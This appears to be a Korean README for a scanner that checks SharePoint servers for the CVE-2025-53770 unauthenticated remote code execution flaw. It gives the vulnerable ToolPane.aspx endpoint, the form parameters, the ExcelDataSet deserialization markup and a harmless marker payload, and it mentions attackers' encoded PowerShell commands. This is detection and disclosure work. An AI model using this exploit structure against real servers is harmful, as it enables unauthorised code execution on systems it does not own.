
SharePoint CVE-2025-53770 RCE 제로데이 취약점을 위한 스캐너입니다.
이 스캐너는 SharePoint 비인증 원격 코드 실행 취약점(CVE-2025-53770로 지정됨)을 위한 것입니다. 이 코드는 실제 환경에서 발견된 페이로드를 리버스 엔지니어링하여 작성되었습니다.
사용에 따른 책임은 본인에게 있으며, 이로 인해 발생하는 부정적인 영향에 대해 책임지지 않습니다.
SharePoint ToolBox 위젯에 마커를 주입하여 취약점을 악용하려고 시도합니다. SharePoint 서버 응답에서 이 무해한 마커가 발견되면 해당 호스트는 취약한 것으로 표시됩니다.
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
KB5002768 및 KB5002754 없이 SharePoint 서버의 온-프레미스 버전을 실행하는 모든 사용자.
이 취약점은 이전에 공개된 SharePoint 취약점인 CVE-2025-49706을 기반으로 하는 것으로 추정됩니다.
GZIP 압축 및 BASE64 인코딩된 페이로드와 함께 https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx로 HTTP POST 요청을 보내면 SharePoint 런타임 프로세스로 원격 코드 실행을 달성할 수 있습니다.
여기서 중요한 두 가지 양식 매개변수는 다음과 같습니다:
MSOTlPn_Uri: 컨트롤 소스 경로이는 합법적인 SharePoint 컨트롤(AclEditor.ascx)을 참조하는 척 하며, SharePoint가 웹 파트 편집을 허용하도록 속입니다.
이는 검증을 통과하기 위한 모의/가짜 값으로 보입니다.
원래 악성 페이로드에는 MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx가 포함되어 있지만, 현재 시점에서는 사용되지 않는 것으로 보입니다.
MSOTlPn_DWP: 웹 부분 구성.이 매개변수는 사용자 지정 ASP.NET 지시문(<%@ Register %>)과 서버 측 마크업(<Scorecard:ExcelDataSet>)을 주입합니다.
CompressedDataTable 속성은 공격자가 제어하는 직렬화된 데이터(GZIP + base64)를 보유하여 RCE를 트리거합니다.
이 페이로드는 특정 구조를 따릅니다:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Scorecard:ExcelDataSet과 같은 컨트롤이 존재하고 해당 CompressedDataTable 속성이 설정되면, SharePoint DWP 파서에 의해 직접 역직렬화됩니다.
페이로드 자체는 System.DelegateSerializationHolder를 포함할 수 있어 역직렬화 RCE를 트리거하므로 상당히 흥미로울 수 있습니다.
위협 행위자들은 이를 악용하여 페이로드에 /c powershell -EncodedCommand <POWERSHELL-PAYLOAD>를 전달하여 코드 실행을 달성했습니다.
우리의 경우, 단지 익스플로잇 가능성을 증명하기 위해 정적 플레이스홀더를 전달합니다;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>